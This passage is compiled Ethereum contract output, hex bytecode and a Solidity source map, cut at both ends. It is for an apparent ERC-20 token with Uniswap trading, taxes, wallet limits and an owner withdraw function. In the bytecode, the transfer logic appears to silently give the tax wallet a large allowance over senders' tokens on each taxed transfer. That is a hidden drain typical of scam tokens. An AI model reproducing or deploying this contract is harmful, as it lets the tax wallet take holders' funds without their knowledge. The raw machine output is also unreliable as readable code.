031633146105ca5760405162461bcd60e51b815260040161045e906117de565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106149030906106056009600a6117b9565b610426906461f313f8806117c7565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610664573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106889190611813565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070b9190611813565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610755573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107799190611813565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107c45760405162461bcd60e51b815260040161045e906117de565b60405133904780156108fc02915f818181858888f193505050501580156107ed573d5f5f3e3d5ffd5b50565b5f6103a3338484610af8565b5f546001600160a01b031633146108255760405162461bcd60e51b815260040161045e906117de565b60135460ff16156108785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045e565b6005546001600160a01b031663f305d71947306108a9816001600160a01b03165f9081526001602052604090205490565b5f5f6108bc5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610922573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610947919061182e565b505060065460055460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561099c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c09190611859565b506013805462ff00ff191662010001179055565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610c1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b60135462010000900460ff161580610c3e5750601354610100900460ff165b15610ce8576001600160a01b0383165f90815260016020526040902054610c66908290611878565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c9590829061188b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aeb9085815260200190565b5f80546001600160a01b03858116911614801590610d1357505f546001600160a01b03848116911614155b156110a2576006546001600160a01b038581169116148015610d4357506005546001600160a01b03848116911614155b8015610d6757506001600160a01b0383165f9081526003602052604090205460ff16155b15610ec55760135460ff16610db65760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b604482015260640161045e565b610de26064610ddc600b54600e5411610dd157600754610dd5565b6009545b8590611217565b9061129c565b9050600f54821115610e365760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865205f6d61785478416d6f756e74572e000000000000604482015260640161045e565b60105482610e58856001600160a01b03165f9081526001602052604090205490565b610e62919061188b565b1115610eb05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b600e8054905f610ebf8361189e565b91905055505b6006546001600160a01b03848116911614801590610efb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f7a5760105482610f22856001600160a01b03165f9081526001602052604090205490565b610f2c919061188b565b1115610f7a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b6006546001600160a01b0390811690841603610fb857610fb56064610ddc600c54600e5411610fab57600854610dd5565b600a548590611217565b90505b6040805180820190915260065461100d919081906001600160a01b03888116911614610fef576006546001600160a01b0316610ff1565b865b6001600160a01b039081168252600454166020909101526112dd565b80156110215750601354610100900460ff16155b801561103a57506006546001600160a01b038481169116145b801561104e575060135462010000900460ff165b801561105d5750600d54600e54115b156110a257305f90815260016020526040902054601154811115611098576110986110938461108e84601254611340565b611340565b611354565b6110a06114be565b505b801561111a57305f908152600160205260409020546110c190826114f4565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461113c9083611552565b6001600160a01b0385165f9081526001602052604090205561117f6111618383611552565b6001600160a01b0385165f90815260016020526040902054906114f4565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c88585611552565b60405190815260200160405180910390a350505050565b5f81848411156112025760405162461bcd60e51b815260040161045e91906115bf565b505f61120e8486611878565b95945050505050565b5f825f0361122657505f6103a7565b5f61123183856117c7565b90508261123e85836118b6565b146112955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b9392505050565b5f61129583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b80516020820151600f545f929190611304906103e8906112fe9060646114f4565b90611217565b61130f90609661188b565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f81831161134e5782611295565b50919050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611396576113966118d5565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114119190611813565b81600181518110611424576114246118d5565b6001600160a01b03928316602091820292909201015260055461144a91309116846109d4565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906114829085905f908690309042906004016118e9565b5f604051808303815f87803b158015611499575f5ffd5b505af11580156114ab573d5f5f3e3d5ffd5b50506013805461ff001916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107ed573d5f5f3e3d5ffd5b5f80611500838561188b565b9050838110156112955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f61129583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111df565b5f81836115b35760405162461bcd60e51b815260040161045e91906115bf565b505f61120e84866118b6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107ed575f5ffd5b5f5f60408385031215611619575f5ffd5b8235611624816115f4565b946020939093013593505050565b5f5f5f60608486031215611644575f5ffd5b833561164f816115f4565b9250602084013561165f816115f4565b929592945050506040919091013590565b5f60208284031215611680575f5ffd5b8135611295816115f4565b5f5f6040838503121561169c575f5ffd5b82356116a7816115f4565b915060208301356116b7816115f4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611711578085048111156116f5576116f56116c2565b600184161561170357908102905b60019390931c9280026116da565b935093915050565b5f82611727575060016103a7565b8161173357505f6103a7565b816001811461174957600281146117535761176f565b60019150506103a7565b60ff841115611764576117646116c2565b50506001821b6103a7565b5060208310610133831016604e8410600b8410161715611792575081810a6103a7565b61179e5f1984846116d6565b805f19048211156117b1576117b16116c2565b029392505050565b5f61129560ff841683611719565b80820281158282048414176103a7576103a76116c2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611823575f5ffd5b8151611295816115f4565b5f5f5f60608486031215611840575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611869575f5ffd5b81518015158114611295575f5ffd5b818103818111156103a7576103a76116c2565b808201808211156103a7576103a76116c2565b5f600182016118af576118af6116c2565b5060010190565b5f826118d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119395783516001600160a01b0316835260209384019390920191600101611912565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220951419deecf2e5da5564e365fc998888f1c50dbb324fdb36e95cc411c57c704264736f6c634300081b0033

3622:7636:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5664:83;;;;;;;;;;-1:-1:-1;5734:5:0;;;;;;;;;;;;-1:-1:-1;;;5734:5:0;;;;5664:83;;;;;;;:::i;:::-;;;;;;;;4607:48;;;;;;;;;;;;;;;;;;;583:25:1;;;571:2;556:18;4607:48:0;437:177:1;6798:161:0;;;;;;;;;;-1:-1:-1;6798:161:0;;;;;:::i;:::-;;:::i;:::-;;;1292:14:1;;1285:22;1267:41;;1255:2;1240:18;6798:161:0;1127:187:1;4721:46:0;;;;;;;;;;;;;;;;5935:95;;;;;;;;;;;;;:::i;6481:311::-;;;;;;;;;;-1:-1:-1;6481:311:0;;;;;:::i;:::-;;:::i;5846:83::-;;;;;;;;;;-1:-1:-1;5846:83:0;;4364:1;1974:36:1;;1962:2;1947:18;5846:83:0;1832:184:1;10532:249:0;;;;;;;;;;-1:-1:-1;10532:249:0;;;;;:::i;:::-;;:::i;:::-;;4552:48;;;;;;;;;;;;;;;;6036:119;;;;;;;;;;-1:-1:-1;6036:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6129:18:0;6102:7;6129:18;;;:9;:18;;;;;;;6036:119;3467:148;;;;;;;;;;;;;:::i;3257:79::-;;;;;;;;;;-1:-1:-1;3295:7:0;3322:6;3257:79;;-1:-1:-1;;;;;3322:6:0;;;2679:51:1;;2667:2;2652:18;3257:79:0;2533:203:1;5753:87:0;;;;;;;;;;-1:-1:-1;5825:7:0;;;;;;;;;;;;-1:-1:-1;;;5825:7:0;;;;5753:87;;5292:366;;;;;;;;;;;;;:::i;10179:114::-;;;;;;;;;;;;;:::i;6161:167::-;;;;;;;;;;-1:-1:-1;6161:167:0;;;;;:::i;:::-;;:::i;4662:52::-;;;;;;;;;;;;;;;;10787:468;;;;;;;;;;;;;:::i;6334:141::-;;;;;;;;;;-1:-1:-1;6334:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6442:16:0;;;6415:7;6442:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6334:141;6798:161;6873:4;6890:39;939:10;6913:7;6922:6;6890:8;:39::i;:::-;-1:-1:-1;6947:4:0;6798:161;;;;;:::o;5935:95::-;5988:7;4422:15;4364:1;4422:2;:15;:::i;:::-;4407:30;;:12;:30;:::i;:::-;6008:14;;5935:95;:::o;6481:311::-;6579:4;6596:36;6606:6;6614:9;6625:6;6596:9;:36::i;:::-;6643:119;6652:6;939:10;6674:87;6710:6;6674:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6674:17:0;;;;;;:9;:17;;;;;;;;939:10;6674:31;;;;;;;;;;:35;:87::i;:::-;6643:8;:119::i;:::-;-1:-1:-1;6780:4:0;6481:311;;;;;:::o;10532:249::-;3382:6;;-1:-1:-1;;;;;3382:6:0;939:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;;;;;;;;;10606:8:::1;:16:::0;;-1:-1:-1;;;;;;10606:16:0::1;-1:-1:-1::0;;;;;10606:16:0;::::1;;::::0;;4422:15:::1;4364:1;4422:2;:15;:::i;:::-;4407:30;::::0;:12:::1;:30;:::i;:::-;10633:13;:21:::0;4422:15:::1;4364:1;4422:2;:15;:::i;:::-;4407:30;::::0;:12:::1;:30;:::i;:::-;10665:13;:21:::0;-1:-1:-1;;;;;10697:26:0;::::1;;::::0;;;:19:::1;:26;::::0;;;;:33;;-1:-1:-1;;10697:33:0::1;10726:4;10697:33;::::0;;10746:27:::1;4422:15;4364:1;4422:2;:15;:::i;:::-;4407:30;::::0;:12:::1;:30;:::i;:::-;10746:27;::::0;583:25:1;;;571:2;556:18;10746:27:0::1;;;;;;;10532:249:::0;:::o;3467:148::-;3382:6;;-1:-1:-1;;;;;3382:6:0;939:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;3574:1:::1;3558:6:::0;;3537:40:::1;::::0;-1:-1:-1;;;;;3558:6:0;;::::1;::::0;3537:40:::1;::::0;3574:1;;3537:40:::1;3605:1;3588:19:::0;;-1:-1:-1;;;;;;3588:19:0::1;::::0;;3467:148::o;5292:366::-;3382:6;;-1:-1:-1;;;;;3382:6:0;939:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;5344:10:::1;:99:::0;;-1:-1:-1;;;;;;5344:99:0::1;5390:42;5344:99:::0;;::::1;::::0;;;5454:53:::1;::::0;5471:4:::1;::::0;4422:15:::1;4364:1;4422:2;:15;:::i;:::-;4407:30;::::0;:12:::1;:30;:::i;5454:53::-;5547:10;;;;;;;;;-1:-1:-1::0;;;;;5547:10:0::1;-1:-1:-1::0;;;;;5547:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5529:50:0::1;;5602:4;5622:10;;;;;;;;;-1:-1:-1::0;;;;;5622:10:0::1;-1:-1:-1::0;;;;;5622:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5529:121;::::0;-1:-1:-1;;;;;;5529:121:0::1;::::0;;;;;;-1:-1:-1;;;;;5680:32:1;;;5529:121:0::1;::::0;::::1;5662:51:1::0;5749:32;;5729:18;;;5722:60;5635:18;;5529:121:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5518:8;:132:::0;;-1:-1:-1;;;;;;5518:132:0::1;-1:-1:-1::0;;;;;5518:132:0;;;::::1;::::0;;;::::1;::::0;;5292:366::o;10179:114::-;3382:6;;-1:-1:-1;;;;;3382:6:0;939:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;10232:53:::1;::::0;939:10;;10263:21:::1;10232:53:::0;::::1;;;::::0;::::1;::::0;;;10263:21;939:10;10232:53;::::1;;;;;;;;;;;;;;;;;;;;10179:114::o:0;6161:167::-;6239:4;6256:42;939:10;6280:9;6291:6;6256:9;:42::i;10787:468::-;3382:6;;-1:-1:-1;;;;;3382:6:0;939:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;10849:11:::1;::::0;::::1;;10848:12;10840:48;;;::::0;-1:-1:-1;;;10840:48:0;;5995:2:1;10840:48:0::1;::::0;::::1;5977:21:1::0;6034:2;6014:18;;;6007:30;6073:25;6053:18;;;6046:53;6116:18;;10840:48:0::1;5793:347:1::0;10840:48:0::1;10899:10;::::0;-1:-1:-1;;;;;10899:10:0::1;:26;10933:21;10978:4;10998:24;10978:4:::0;-1:-1:-1;;;;;6129:18:0;6102:7;6129:18;;;:9;:18;;;;;;;6036:119;10998:24:::1;11037:1;11053;11069:7;3295::::0;3322:6;-1:-1:-1;;;;;3322:6:0;;3257:79;11069:7:::1;10899:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10899:218:0;;;-1:-1:-1;;;;;6466:32:1;;;10899:218:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11091:15:0::1;6714:19:1::0;;;6707:35;6420:19;;10899:218:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11135:8:0::1;::::0;11161:10:::1;::::0;11128:61:::1;::::0;-1:-1:-1;;;11128:61:0;;-1:-1:-1;;;;;11161:10:0;;::::1;11128:61;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11135:8:0;::::1;::::0;-1:-1:-1;11128:24:0::1;::::0;7361:18:1;;11128:61:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11200:11:0::1;:18:::0;;-1:-1:-1;;11229:18:0;;;;;10787:468::o;6965:333::-;-1:-1:-1;;;;;7058:19:0;;7050:68;;;;-1:-1:-1;;;7050:68:0;;7977:2:1;7050:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;7050:68:0;7775:400:1;7050:68:0;-1:-1:-1;;;;;7137:21:0;;7129:68;;;;-1:-1:-1;;;7129:68:0;;8382:2:1;7129:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;7129:68:0;8180:398:1;7129:68:0;-1:-1:-1;;;;;7208:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7258:32;;583:25:1;;;7258:32:0;;556:18:1;7258:32:0;;;;;;;;6965:333;;;:::o;7304:2197::-;-1:-1:-1;;;;;7392:18:0;;7384:68;;;;-1:-1:-1;;;7384:68:0;;8785:2:1;7384:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7384:68:0;8583:401:1;7384:68:0;-1:-1:-1;;;;;7471:16:0;;7463:64;;;;-1:-1:-1;;;7463:64:0;;9191:2:1;7463:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7463:64:0;8989:399:1;7463:64:0;7555:1;7546:6;:10;7538:64;;;;-1:-1:-1;;;7538:64:0;;9595:2:1;7538:64:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7538:64:0;9393:405:1;7538:64:0;7618:11;;;;;;;7617:12;;:22;;-1:-1:-1;7633:6:0;;;;;;;7617:22;7613:217;;;-1:-1:-1;;;;;7674:15:0;;;;;;:9;:15;;;;;;:24;;7692:6;;7674:24;:::i;:::-;-1:-1:-1;;;;;7656:15:0;;;;;;;:9;:15;;;;;;:42;;;;7729:13;;;;;;;:22;;7745:6;;7729:22;:::i;:::-;-1:-1:-1;;;;;7713:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7771:26;;;;;;;;;;7790:6;583:25:1;;571:2;556:18;;437:177;7613:217:0;7840:17;3322:6;;-1:-1:-1;;;;;7874:15:0;;;3322:6;;7874:15;;;;:32;;-1:-1:-1;3295:7:0;3322:6;-1:-1:-1;;;;;7893:13:0;;;3322:6;;7893:13;;7874:32;7870:1277;;;7935:8;;-1:-1:-1;;;;;7927:16:0;;;7935:8;;7927:16;:45;;;;-1:-1:-1;7961:10:0;;-1:-1:-1;;;;;7947:25:0;;;7961:10;;7947:25;;7927:45;:74;;;;-1:-1:-1;;;;;;7978:23:0;;;;;;:19;:23;;;;;;;;7976:25;7927:74;7923:475;;;8030:11;;;;8022:44;;;;-1:-1:-1;;;8022:44:0;;10268:2:1;8022:44:0;;;10250:21:1;10307:2;10287:18;;;10280:30;-1:-1:-1;;;10326:18:1;;;10319:51;10387:18;;8022:44:0;10066:345:1;8022:44:0;8097:76;8169:3;8097:67;8119:15;;8109:9;;:25;8108:55;;8149:14;;8108:55;;;8136:12;;8108:55;8097:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8085:88;;8210:13;;8200:6;:23;;8192:62;;;;-1:-1:-1;;;8192:62:0;;10618:2:1;8192:62:0;;;10600:21:1;10657:2;10637:18;;;10630:30;10696:28;10676:18;;;10669:56;10742:18;;8192:62:0;10416:350:1;8192:62:0;8307:13;;8297:6;8281:13;8291:2;-1:-1:-1;;;;;6129:18:0;6102:7;6129:18;;;:9;:18;;;;;;;6036:119;8281:13;:22;;;;:::i;:::-;:39;;8273:78;;;;-1:-1:-1;;;8273:78:0;;10973:2:1;8273:78:0;;;10955:21:1;11012:2;10992:18;;;10985:30;11051:28;11031:18;;;11024:56;11097:18;;8273:78:0;10771:350:1;8273:78:0;8370:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7923:475;8422:8;;-1:-1:-1;;;;;8416:14:0;;;8422:8;;8416:14;;;;:43;;-1:-1:-1;;;;;;8436:23:0;;;;;;:19;:23;;;;;;;;8434:25;8416:43;8412:162;;;8514:13;;8504:6;8488:13;8498:2;-1:-1:-1;;;;;6129:18:0;6102:7;6129:18;;;:9;:18;;;;;;;6036:119;8488:13;:22;;;;:::i;:::-;:39;;8480:78;;;;-1:-1:-1;;;8480:78:0;;10973:2:1;8480:78:0;;;10955:21:1;11012:2;10992:18;;;10985:30;11051:28;11031:18;;;11024:56;11097:18;;8480:78:0;10771:350:1;8480:78:0;8597:8;;-1:-1:-1;;;;;8597:8:0;;;8591:14;;;;8588:145;;8638:79;8713:3;8638:70;8660:16;;8650:9;;:26;8649:58;;8692:15;;8649:58;;;8678:13;;8638:6;;:10;:70::i;:79::-;8626:91;;8588:145;8751:46;;;;;;;;;8763:8;;8751:46;;;;;-1:-1:-1;;;;;8757:14:0;;;8763:8;;8757:14;:28;;8777:8;;-1:-1:-1;;;;;8777:8:0;8757:28;;;8772:4;8757:28;-1:-1:-1;;;;;8751:46:0;;;;;8787:8;;;8751:46;;;;;:4;:46::i;:::-;:57;;;;-1:-1:-1;8802:6:0;;;;;;;8801:7;8751:57;:75;;;;-1:-1:-1;8818:8:0;;-1:-1:-1;;;;;8812:14:0;;;8818:8;;8812:14;8751:75;:90;;;;-1:-1:-1;8830:11:0;;;;;;;8751:90;:122;;;;;8855:18;;8845:9;;:28;8751:122;8747:389;;;8943:4;8894:28;6129:18;;;:9;:18;;;;;;8992:17;;8971:38;;8968:123;;;9032:59;9041:49;9045:6;9052:37;9056:20;9077:11;;9052:3;:37::i;:::-;9041:3;:49::i;:::-;9032:8;:59::i;:::-;9110:10;:8;:10::i;:::-;8875:261;8747:389;9160:11;;9157:161;;9228:4;9210:24;;;;:9;:24;;;;;;:39;;9239:9;9210:28;:39::i;:::-;9203:4;9185:24;;;;:9;:24;;;;;;;:64;;;;9267:39;;-1:-1:-1;;;;;9267:39:0;;;;;;;9296:9;583:25:1;;571:2;556:18;;437:177;9267:39:0;;;;;;;;9157:161;-1:-1:-1;;;;;9344:15:0;;;;;;:9;:15;;;;;;:27;;9364:6;9344:19;:27::i;:::-;-1:-1:-1;;;;;9328:15:0;;;;;;:9;:15;;;;;:43;9396:40;9414:21;:6;9425:9;9414:10;:21::i;:::-;-1:-1:-1;;;;;9396:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9382:13:0;;;;;;;:9;:13;;;;;:54;;;;9452:41;;;9471:21;:6;9482:9;9471:10;:21::i;:::-;9452:41;;583:25:1;;;571:2;556:18;9452:41:0;;;;;;;7373:2128;7304:2197;;;:::o;1313:190::-;1399:7;1435:12;1427:6;;;;1419:29;;;;-1:-1:-1;;;1419:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1459:9:0;1471:5;1475:1;1471;:5;:::i;:::-;1459:17;1313:190;-1:-1:-1;;;;;1313:190:0:o;1509:246::-;1567:7;1591:1;1596;1591:6;1587:47;;-1:-1:-1;1621:1:0;1614:8;;1587:47;1644:9;1656:5;1660:1;1656;:5;:::i;:::-;1644:17;-1:-1:-1;1689:1:0;1680:5;1684:1;1644:17;1680:5;:::i;:::-;:10;1672:56;;;;-1:-1:-1;;;1672:56:0;;11690:2:1;1672:56:0;;;11672:21:1;11729:2;11709:18;;;11702:30;11768:34;11748:18;;;11741:62;-1:-1:-1;;;11819:18:1;;;11812:31;11860:19;;1672:56:0;11488:397:1;1672:56:0;1746:1;1509:246;-1:-1:-1;;;1509:246:0:o;1761:132::-;1819:7;1846:39;1850:1;1853;1846:39;;;;;;;;;;;;;;;;;:3;:39::i;9507:215::-;9592:7;;;9616;;;9660:13;;9561:4;;9592:7;9616;9660:32;;9687:4;;9660:22;;9678:3;9660:17;:22::i;:::-;:26;;:32::i;:::-;9656:36;;:3;:36;:::i;:::-;-1:-1:-1;;;;;9634:15:0;;;;;;;:9;:15;;;;;;;;:21;;;;;;;;;;;;;:58;-1:-1:-1;9710:4:0;;9507:215;-1:-1:-1;9507:215:0:o;10299:99::-;10355:7;10384:1;10382;:3;10381:9;;10389:1;10381:9;;;-1:-1:-1;10387:1:0;10299:99;-1:-1:-1;10299:99:0:o;9728:445::-;4949:6;:13;;-1:-1:-1;;4949:13:0;;;;;9817:16:::1;::::0;;9831:1:::1;9817:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9817:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9817:16:0::1;9793:40;;9862:4;9844;9849:1;9844:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9844:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9888:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9888:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9844:7;;9888:17;;;;;:10;:17:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9878:4;9883:1;9878:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9878:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9948:10:::1;::::0;9916:52:::1;::::0;9933:4:::1;::::0;9948:10:::1;9961:6:::0;9916:8:::1;:52::i;:::-;9979:10;::::0;:186:::1;::::0;-1:-1:-1;;;9979:186:0;;-1:-1:-1;;;;;9979:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;10055:6;;9979:10:::1;::::0;10092:4;;10119::::1;::::0;10139:15:::1;::::0;9979:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;4985:6:0;:14;;-1:-1:-1;;4985:14:0;;;-1:-1:-1;;;;9728:445:0:o;10404:87::-;10443:8;;:40;;-1:-1:-1;;;;;10443:8:0;;;;10461:21;10443:40;;;;;:8;:40;:8;:40;10461:21;10443:8;:40;;;;;;;;;;;;;;;;;;;986:179;1044:7;;1076:5;1080:1;1076;:5;:::i;:::-;1064:17;;1105:1;1100;:6;;1092:46;;;;-1:-1:-1;;;1092:46:0;;13320:2:1;1092:46:0;;;13302:21:1;13359:2;13339:18;;;13332:30;13398:29;13378:18;;;13371:57;13445:18;;1092:46:0;13118:351:1;1171:136:0;1229:7;1256:43;1260:1;1263;1256:43;;;;;;;;;;;;;;;;;:3;:43::i;1899:189::-;1985:7;2020:12;2013:5;2005:28;;;;-1:-1:-1;;;2005:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2044:9:0;2056:5;2060:1;2056;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;619:131::-;-1:-1:-1;;;;;694:31:1;;684:42;;674:70;;740:1;737;730:12;755:367;823:6;831;884:2;872:9;863:7;859:23;855:32;852:52;;;900:1;897;890:12;852:52;939:9;926:23;958:31;983:5;958:31;:::i;:::-;1008:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;755:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:255::-;2088:6;2141:2;2129:9;2120:7;2116:23;2112:32;2109:52;;;2157:1;2154;2147:12;2109:52;2196:9;2183:23;2215:31;2240:5;2215:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183